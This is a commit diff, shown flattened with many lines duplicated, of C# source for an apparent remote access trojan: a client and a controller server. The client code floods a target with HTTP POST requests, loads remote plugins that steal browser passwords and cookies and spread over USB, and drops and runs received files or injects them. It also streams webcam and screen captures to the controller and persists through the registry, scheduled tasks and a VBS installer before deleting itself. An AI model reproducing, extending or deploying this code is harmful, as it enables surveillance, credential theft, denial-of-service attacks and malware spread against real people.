port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString); port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString);
timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60; timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60;
List<Socket> SocketList = new List<Socket>();
TimeSpan timespan = TimeSpan.FromSeconds(timeout); TimeSpan timespan = TimeSpan.FromSeconds(timeout);
Stopwatch stopwatch = new Stopwatch(); Stopwatch stopwatch = new Stopwatch();
stopwatch.Start(); stopwatch.Start();
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
{
for (int i = 0; i < 100; i++)
{ {
new Thread(() => new Thread(() =>
{ {
try try
{ {
Socket tcp = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); Socket tcp = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
tcp.Connect(host.ToString(), port); tcp.Connect(host.ToString(), port);
SocketList.Add(tcp);
string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n"; string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n";
byte[] buffer = Encoding.UTF8.GetBytes(post); byte[] buffer = Encoding.UTF8.GetBytes(post);
tcp.Send(buffer, 0, buffer.Length, SocketFlags.None); tcp.Send(buffer, 0, buffer.Length, SocketFlags.None);
Thread.Sleep(4000);
tcp.Dispose();
} }
catch catch
{ {
//Console.WriteLine("Website may be down!"); //Console.WriteLine("Website may be down!");
} }
}).Start(); }).Start();
Thread.Sleep(1);
} }
Thread.Sleep(5000);
Thread.Sleep(1000);
foreach (Socket tcp in SocketList.ToList())
{
tcp?.Dispose();
} }
}
catch { return; }
} }
} }
} }

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Drawing; using System.Drawing;
@ -175,6 +175,7 @@ namespace Client.Handle_Packet
if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData"); if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData");
if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
foreach (string folder in Directory.GetDirectories(path)) foreach (string folder in Directory.GetDirectories(path))
{ {
@ -208,7 +209,7 @@ namespace Client.Handle_Packet
{ {
using (Bitmap myBitmap = new Bitmap(file)) using (Bitmap myBitmap = new Bitmap(file))
{ {
return new Bitmap(myBitmap.GetThumbnailImage(64, 64, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero)); return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
} }
} }
else else
@ -219,7 +220,7 @@ namespace Client.Handle_Packet
} }
catch catch
{ {
return new Bitmap(64, 64); return new Bitmap(48, 48);
} }
} }

View File

@ -6,7 +6,7 @@ using System.Text;
using System.Windows.Forms; using System.Windows.Forms;
using Client.MessagePack; using Client.MessagePack;
using System.Threading; using System.Threading;
using Client.Sockets; using Client.Connection;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.Reflection; using System.Reflection;
@ -20,13 +20,13 @@ namespace Client.Handle_Packet
try try
{ {
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
MethodInfo meth = loader.GetType("HandleLimeUSB.HandleLimeUSB").GetMethod("Initialize"); MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
object injObj = loader.CreateInstance(meth.Name); object injObj = loader.CreateInstance(meth.Name);
int count = (int)meth.Invoke(injObj, null); int count = (int)meth.Invoke(injObj, null);
if (count > 0) if (count > 0)
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usbSpread"; msgpack.ForcePathObject("Packet").AsString = "usb";
msgpack.ForcePathObject("Count").AsString = count.ToString(); msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.Send(msgpack.Encode2Bytes()); ClientSocket.Send(msgpack.Encode2Bytes());
} }

View File

@ -0,0 +1,32 @@
using Client.MessagePack;
using Client.Connection;
using System;
using System.Threading;
using System.Reflection;
using System.Diagnostics;
using Client.Helper;
namespace Client.Handle_Packet
{
public class HandlePlugin
{
public HandlePlugin(MsgPack unpack_msgpack)
{
new Thread(delegate ()
{
try
{
Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize");
meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate });
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
})
{ IsBackground = true }.Start();
}
}
}

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.Drawing; using System.Drawing;

View File

@ -1,21 +1,20 @@
using Client.MessagePack; using System;
using Client.Sockets;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO; using System.IO;
using System.Windows.Forms;
using Client.Helper;
using System;
using Client.StreamLibrary.UnsafeCodecs;
using Client.StreamLibrary;
using System.Runtime.InteropServices;
using System.Threading; using System.Threading;
using System.Drawing.Imaging;
using System.Drawing;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using Client.MessagePack;
using Client.Connection;
using Client.StreamLibrary.UnsafeCodecs;
using Client.Helper;
using Client.StreamLibrary;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
public class HandleRemoteDesktop public class HandleRemoteDesktop
{ {
public HandleRemoteDesktop(MsgPack unpack_msgpack) public HandleRemoteDesktop(MsgPack unpack_msgpack)
{ {
try try
@ -80,7 +79,6 @@ namespace Client.Handle_Packet
tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
tempSocket.SslClient.Write(msgpack.Encode2Bytes()); tempSocket.SslClient.Write(msgpack.Encode2Bytes());
tempSocket.SslClient.Flush(); tempSocket.SslClient.Flush();
Thread.Sleep(1);
} }
} }
bmp.UnlockBits(bmpData); bmp.UnlockBits(bmpData);
@ -88,10 +86,14 @@ namespace Client.Handle_Packet
} }
catch { break; } catch { break; }
} }
try
{
bmp?.UnlockBits(bmpData); bmp?.UnlockBits(bmpData);
bmp?.Dispose(); bmp?.Dispose();
tempSocket?.Dispose(); tempSocket?.Dispose();
} }
catch { }
}
private Bitmap GetScreen(int Scrn) private Bitmap GetScreen(int Scrn)
{ {

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;

View File

@ -14,6 +14,7 @@ namespace Client.Handle_Packet
{ {
try try
{ {
//Drop To Disk
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
Process.Start(fullPath); Process.Start(fullPath);
@ -37,6 +38,7 @@ namespace Client.Handle_Packet
byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
if (injection.Length == 0) if (injection.Length == 0)
{ {
//Reflection
new Thread(delegate () new Thread(delegate ()
{ {
try try
@ -59,12 +61,13 @@ namespace Client.Handle_Packet
} }
else else
{ {
//RunPE
new Thread(delegate () new Thread(delegate ()
{ {
try try
{ {
Assembly loader = Assembly.Load(plugin); Assembly loader = Assembly.Load(plugin);
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run"); MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) }); meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
} }
catch (Exception ex) catch (Exception ex)

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;

View File

@ -19,16 +19,16 @@ namespace Client.Handle_Packet
try try
{ {
if (!Methods.IsAdmin()) if (!Methods.IsAdmin())
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Path.GetFileName(Settings.ClientFullPath)); Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Settings.InstallFile);
else else
{ {
Process.Start(new ProcessStartInfo() Process.Start(new ProcessStartInfo()
{ {
FileName = "schtasks", FileName = "schtasks",
Arguments = $"/delete /tn {Path.GetFileName(Settings.ClientFullPath)} /f", Arguments = $"/delete /tn {Settings.InstallFile} /f",
CreateNoWindow = true, CreateNoWindow = true,
ErrorDialog = false, ErrorDialog = false,
UseShellExecute = true, UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden WindowStyle = ProcessWindowStyle.Hidden
}); });
} }
@ -43,6 +43,7 @@ namespace Client.Handle_Packet
Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"", Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"",
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true, CreateNoWindow = true,
UseShellExecute = false,
FileName = "cmd.exe" FileName = "cmd.exe"
}; };
} }

View File

@ -0,0 +1,213 @@
using AForge.Video;
using AForge.Video.DirectShow;
using Client.Connection;
using Client.Helper;
using Client.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
namespace Client.Handle_Packet
{
public static class HandleWebcam
{
public static bool IsOn = false;
public static VideoCaptureDevice FinalVideo;
public static string HWID = Methods.HWID();
private static MemoryStream Camstream = new MemoryStream();
private static TempSocket TempSocket = null;
private static int Quality = 50;
public static void Run(MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "webcam":
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "getWebcams":
{
TempSocket?.Dispose();
TempSocket = new TempSocket();
if (TempSocket.IsConnected)
{
GetWebcams();
}
else
{
new Thread(() =>
{
try
{
TempSocket.Dispose();
CaptureDispose();
}
catch { }
}).Start();
}
break;
}
case "capture":
{
if (IsOn == true) return;
if (TempSocket.IsConnected)
{
IsOn = true;
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString);
Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger;
FinalVideo.NewFrame += CaptureRun;
FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger];
FinalVideo.Start();
}
else
{
new Thread(() =>
{
try
{
CaptureDispose();
TempSocket.Dispose();
}
catch { }
}).Start();
}
break;
}
case "stop":
{
new Thread(() =>
{
try
{
CaptureDispose();
}
catch { }
}).Start();
break;
}
}
break;
}
}
}
catch (Exception ex)
{
Debug.WriteLine("Webcam switch" + ex.Message);
}
}
private static void CaptureRun(object sender, NewFrameEventArgs e)
{
try
{
if (TempSocket.IsConnected)
{
if (IsOn == true)
{
Bitmap image = (Bitmap)e.Frame.Clone();
using (Camstream = new MemoryStream())
{
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality);
myEncoderParameters.Param[0] = myEncoderParameter;
ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg);
image.Save(Camstream, jpgEncoder, myEncoderParameters);
myEncoderParameters?.Dispose();
myEncoderParameter?.Dispose();
image?.Dispose();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "webcam";
msgpack.ForcePathObject("ID").AsString = HWID;
msgpack.ForcePathObject("Command").AsString = "capture";
msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
TempSocket.Send(msgpack.Encode2Bytes());
}
}
}
else
{
new Thread(() =>
{
try
{
CaptureDispose();
TempSocket.Dispose();
}
catch { }
}).Start();
}
}
catch (Exception ex)
{
new Thread(() =>
{
try
{
CaptureDispose();
TempSocket.Dispose();
}
catch { }
}).Start();
Debug.WriteLine("CaptureRun: " + ex.Message);
}
}
private static void GetWebcams()
{
try
{
StringBuilder deviceInfo = new StringBuilder();
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)
{
deviceInfo.Append(videoCaptureDevice.Name + "-=>");
VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString);
Debug.WriteLine(videoCaptureDevice.Name);
}
MsgPack msgpack = new MsgPack();
if (deviceInfo.Length > 0)
{
msgpack.ForcePathObject("Packet").AsString = "webcam";
msgpack.ForcePathObject("Command").AsString = "getWebcams";
msgpack.ForcePathObject("ID").AsString = HWID;
msgpack.ForcePathObject("List").AsString = deviceInfo.ToString();
}
else
{
msgpack.ForcePathObject("Packet").AsString = "webcam";
msgpack.ForcePathObject("Command").AsString = "getWebcams";
msgpack.ForcePathObject("ID").AsString = HWID;
msgpack.ForcePathObject("List").AsString = "None";
}
TempSocket.Send(msgpack.Encode2Bytes());
}
catch { }
}
private static void CaptureDispose()
{
try
{
IsOn = false;
FinalVideo.Stop();
FinalVideo.NewFrame -= CaptureRun;
Camstream?.Dispose();
}
catch { }
}
}
}

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
@ -16,8 +16,8 @@ namespace Client.Handle_Packet
{ {
// DLL StealerLib => gitlab.com/thoxy/stealerlib // DLL StealerLib => gitlab.com/thoxy/stealerlib
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes()); Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
MethodInfo meth = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCredential"); MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("RecoverCredential");
MethodInfo meth2 = loader.GetType("StealerLib.Browsers.CaptureBrowsers").GetMethod("RecoverCookies"); MethodInfo meth2 = loader.GetType("Plugin.Plugin").GetMethod("RecoverCookies");
object injObj = loader.CreateInstance(meth.Name); object injObj = loader.CreateInstance(meth.Name);
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";

View File

@ -1,6 +1,7 @@
using Client.Helper; using Client.Algorithm;
using Client.Helper;
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.IO; using System.IO;
@ -239,6 +240,13 @@ namespace Client.Handle_Packet
break; break;
} }
case "webcam":
{
HandleWebcam.Run(unpack_msgpack);
break;
}
//case "netStat": //case "netStat":
// { // {
// HandleNetStat.RunNetStat(); // HandleNetStat.RunNetStat();

View File

@ -1,6 +1,6 @@
using Client.Handle_Packet; using Client.Handle_Packet;
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using Microsoft.VisualBasic.Devices; using Microsoft.VisualBasic.Devices;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
@ -11,6 +11,7 @@ using System.Security.Cryptography;
using System.Security.Principal; using System.Security.Principal;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
using System.Drawing.Imaging;
namespace Client.Helper namespace Client.Helper
{ {
@ -68,9 +69,9 @@ namespace Client.Helper
if (Convert.ToBoolean(Settings.BDOS) && IsAdmin()) if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
ProcessCritical.Exit(); ProcessCritical.Exit();
CloseMutex(); CloseMutex();
ClientSocket.Client?.Shutdown(SocketShutdown.Both); ClientSocket.TcpClient?.Shutdown(SocketShutdown.Both);
ClientSocket.SslClient?.Close(); ClientSocket.SslClient?.Close();
ClientSocket.Client?.Close(); ClientSocket.TcpClient?.Close();
} }
catch { } catch { }
} }
@ -106,5 +107,19 @@ namespace Client.Helper
msgpack.ForcePathObject("Antivirus").AsString = Antivirus(); msgpack.ForcePathObject("Antivirus").AsString = Antivirus();
return msgpack.Encode2Bytes(); return msgpack.Encode2Bytes();
} }
public static ImageCodecInfo GetEncoder(ImageFormat format)
{
ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders();
foreach (ImageCodecInfo codec in codecs)
{
if (codec.FormatID == format.Guid)
{
return codec;
}
}
return null;
}
} }
} }

View File

@ -15,13 +15,14 @@ namespace Client.Install
{ {
try try
{ {
if (Process.GetCurrentProcess().MainModule.FileName != Settings.ClientFullPath) string installfullpath = Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile);
if (Process.GetCurrentProcess().MainModule.FileName != installfullpath)
{ {
foreach (Process P in Process.GetProcesses()) foreach (Process P in Process.GetProcesses())
{ {
try try
{ {
if (P.MainModule.FileName == Settings.ClientFullPath) if (P.MainModule.FileName == installfullpath)
P.Kill(); P.Kill();
} }
catch catch
@ -31,22 +32,22 @@ namespace Client.Install
} }
FileStream fs; FileStream fs;
if (File.Exists(Settings.ClientFullPath)) if (File.Exists(installfullpath))
{ {
File.Delete(Settings.ClientFullPath); File.Delete(installfullpath);
Thread.Sleep(1000); Thread.Sleep(1000);
fs = new FileStream(Settings.ClientFullPath, FileMode.Create); fs = new FileStream(installfullpath, FileMode.Create);
} }
else else
fs = new FileStream(Settings.ClientFullPath, FileMode.CreateNew); fs = new FileStream(installfullpath, FileMode.CreateNew);
byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName); byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
fs.Write(clientExe, 0, clientExe.Length); fs.Write(clientExe, 0, clientExe.Length);
fs.Dispose(); fs.Dispose();
string tempName = Path.GetTempFileName() + ".vbs"; string tempName = Path.GetTempFileName() + ".vbs";
string TempPath = Strings.StrReverse(Settings.ClientFullPath); string TempPath = Strings.StrReverse(installfullpath);
string TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath)); string TempPathName = Strings.StrReverse(Path.GetFileName(installfullpath));
using (StreamWriter sw = new StreamWriter(tempName, false)) using (StreamWriter sw = new StreamWriter(tempName, false))
{ {
if (!Methods.IsAdmin()) if (!Methods.IsAdmin())
@ -64,7 +65,7 @@ namespace Client.Install
Process.Start(tempName); Process.Start(tempName);
Thread.Sleep(1000); Thread.Sleep(1000);
File.Delete(tempName); File.Delete(tempName);
Process.Start(Settings.ClientFullPath); Process.Start(installfullpath);
Methods.ClientExit(); Methods.ClientExit();
Environment.Exit(0); Environment.Exit(0);
} }

View File

@ -1,5 +1,5 @@
using System.Threading; using System.Threading;
using Client.Sockets; using Client.Connection;
using Client.Install; using Client.Install;
using System; using System;
using Client.Helper; using Client.Helper;

View File

@ -1,4 +1,4 @@
using Client.Cryptography; using Client.Algorithm;
using System; using System;
using System.IO; using System.IO;
using System.Security.Cryptography; using System.Security.Cryptography;
@ -10,11 +10,12 @@ namespace Client
public static class Settings public static class Settings
{ {
#if DEBUG #if DEBUG
public static string Ports = "6606,"; public static string Ports = "6606";
public static string Hosts = "127.0.0.1,"; public static string Hosts = "127.0.0.1";
public static string Version = "0.5.1"; public static string Version = "0.5.2";
public static string Install = "false"; public static string Install = "false";
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string InstallFolder = "AppData";
public static string InstallFile = "Test.exe";
public static string Key = "NYAN CAT"; public static string Key = "NYAN CAT";
public static string MTX = "%MTX%"; public static string MTX = "%MTX%";
public static string Certificate = "%Certificate%"; public static string Certificate = "%Certificate%";
@ -30,7 +31,8 @@ namespace Client
public static string Hosts = "%Hosts%"; public static string Hosts = "%Hosts%";
public static string Version = "%Version%"; public static string Version = "%Version%";
public static string Install = "%Install%"; public static string Install = "%Install%";
public static string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%Folder%"), "%File%"); public static string InstallFolder = "%Folder%";
public static string InstallFile = "%File%";
public static string Key = "%Key%"; public static string Key = "%Key%";
public static string MTX = "%MTX%"; public static string MTX = "%MTX%";
public static string Certificate = "%Certificate%"; public static string Certificate = "%Certificate%";

View File

@ -7,7 +7,7 @@ using System.Security.Cryptography;
using System.Text; using System.Text;
using System.Threading.Tasks; using System.Threading.Tasks;
namespace Server.Cryptography namespace Server.Algorithm
{ {
public class Aes256 public class Aes256
{ {

View File

@ -1,7 +1,7 @@
using System.Security.Cryptography; using System.Security.Cryptography;
using System.Text; using System.Text;
namespace Server.Cryptography namespace Server.Algorithm
{ {
public static class Sha256 public static class Sha256
{ {

View File

@ -12,13 +12,15 @@ using System.Text;
using System.Net.Security; using System.Net.Security;
using System.Security.Authentication; using System.Security.Authentication;
using System.Threading.Tasks; using System.Threading.Tasks;
using Server.Algorithm;
using Server.Helper;
namespace Server.Sockets namespace Server.Connection
{ {
public class Clients public class Clients
{ {
public Socket ClientSocket { get; set; } public Socket TcpClient { get; set; }
public SslStream ClientSslStream { get; set; } public SslStream SslClient { get; set; }
public ListViewItem LV { get; set; } public ListViewItem LV { get; set; }
public ListViewItem LV2 { get; set; } public ListViewItem LV2 { get; set; }
public string ID { get; set; } public string ID { get; set; }
@ -29,27 +31,28 @@ namespace Server.Sockets
public object SendSync { get; } = new object(); public object SendSync { get; } = new object();
public long BytesRecevied { get; set; } public long BytesRecevied { get; set; }
public Clients(Socket socket) public Clients(Socket socket)
{ {
ClientSocket = socket; TcpClient = socket;
ClientSslStream = new SslStream(new NetworkStream(ClientSocket, true), false); SslClient = new SslStream(new NetworkStream(TcpClient, true), false);
ClientSslStream.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null); SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null);
} }
private void EndAuthenticate(IAsyncResult ar) private void EndAuthenticate(IAsyncResult ar)
{ {
try try
{ {
ClientSslStream.EndAuthenticateAsServer(ar); SslClient.EndAuthenticateAsServer(ar);
ClientBuffer = new byte[4]; ClientBuffer = new byte[4];
ClientMS = new MemoryStream(); ClientMS = new MemoryStream();
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
} }
catch catch
{ {
//Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
ClientSslStream?.Dispose(); SslClient?.Dispose();
ClientSocket?.Dispose(); TcpClient?.Dispose();
} }
} }
@ -57,14 +60,14 @@ namespace Server.Sockets
{ {
try try
{ {
if (!ClientSocket.Connected) if (!TcpClient.Connected)
{ {
Disconnected(); Disconnected();
return; return;
} }
else else
{ {
int Recevied = ClientSslStream.EndRead(ar); int Recevied = SslClient.EndRead(ar);
if (Recevied > 0) if (Recevied > 0)
{ {
await ClientMS.WriteAsync(ClientBuffer, 0, Recevied); await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
@ -96,7 +99,7 @@ namespace Server.Sockets
ClientBufferRecevied = false; ClientBufferRecevied = false;
} }
} }
ClientSslStream.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null); SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
} }
else else
{ {
@ -141,10 +144,16 @@ namespace Server.Sockets
try try
{ {
ClientSslStream?.Close(); TcpClient.Shutdown(SocketShutdown.Both);
ClientSocket?.Close(); }
ClientSslStream?.Dispose(); catch { }
ClientSocket?.Dispose();
try
{
SslClient?.Close();
TcpClient?.Close();
SslClient?.Dispose();
TcpClient?.Dispose();
ClientMS?.Dispose(); ClientMS?.Dispose();
} }
catch { } catch { }
@ -156,30 +165,41 @@ namespace Server.Sockets
{ {
try try
{ {
if (!ClientSocket.Connected) if (!TcpClient.Connected)
{ {
Disconnected(); Disconnected();
return; return;
} }
if ((byte[])msg == null) return; if ((byte[])msg == null) return;
byte[] buffer = (byte[])msg; byte[] buffer = (byte[])msg;
byte[] buffersize = BitConverter.GetBytes(buffer.Length); byte[] buffersize = BitConverter.GetBytes(buffer.Length);
ClientSocket.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
ClientSslStream.Write(buffersize, 0, buffersize.Length); SslClient.Write(buffersize, 0, buffersize.Length);
ClientSslStream.Write(buffer, 0, buffer.Length); SslClient.Flush();
ClientSslStream.Flush(); int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(buffer))
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
{
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk);
SslClient.Flush();
Settings.Sent += chunk.Length;
} while (bytesToRead > 0);
}
Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///"); Debug.WriteLine("/// Server Sent " + buffer.Length.ToString() + " Bytes ///");
Settings.Sent += buffer.Length;
} }
catch catch
{ {
Disconnected(); Disconnected();
return; return;
} }
} }
} }

View File

@ -6,7 +6,7 @@ using System.Drawing;
using Server.Handle_Packet; using Server.Handle_Packet;
using System.Diagnostics; using System.Diagnostics;
namespace Server.Sockets namespace Server.Connection
{ {
class Listener class Listener
{ {
@ -23,7 +23,7 @@ namespace Server.Sockets
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
}; };
Server.Bind(ipEndPoint); Server.Bind(ipEndPoint);
Server.Listen(30); Server.Listen(50);
new HandleLogs().Addmsg($"Listenning {port}", Color.Green); new HandleLogs().Addmsg($"Listenning {port}", Color.Green);
Server.BeginAccept(EndAccept, null); Server.BeginAccept(EndAccept, null);
} }
@ -40,6 +40,7 @@ namespace Server.Sockets
{ {
new Clients(Server.EndAccept(ar)); new Clients(Server.EndAccept(ar));
} }
catch { }
finally finally
{ {
Server.BeginAccept(EndAccept, null); Server.BeginAccept(EndAccept, null);

View File

@ -55,6 +55,7 @@
this.reportWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.reportWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.runToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.runToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.stopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); this.stopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.webcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
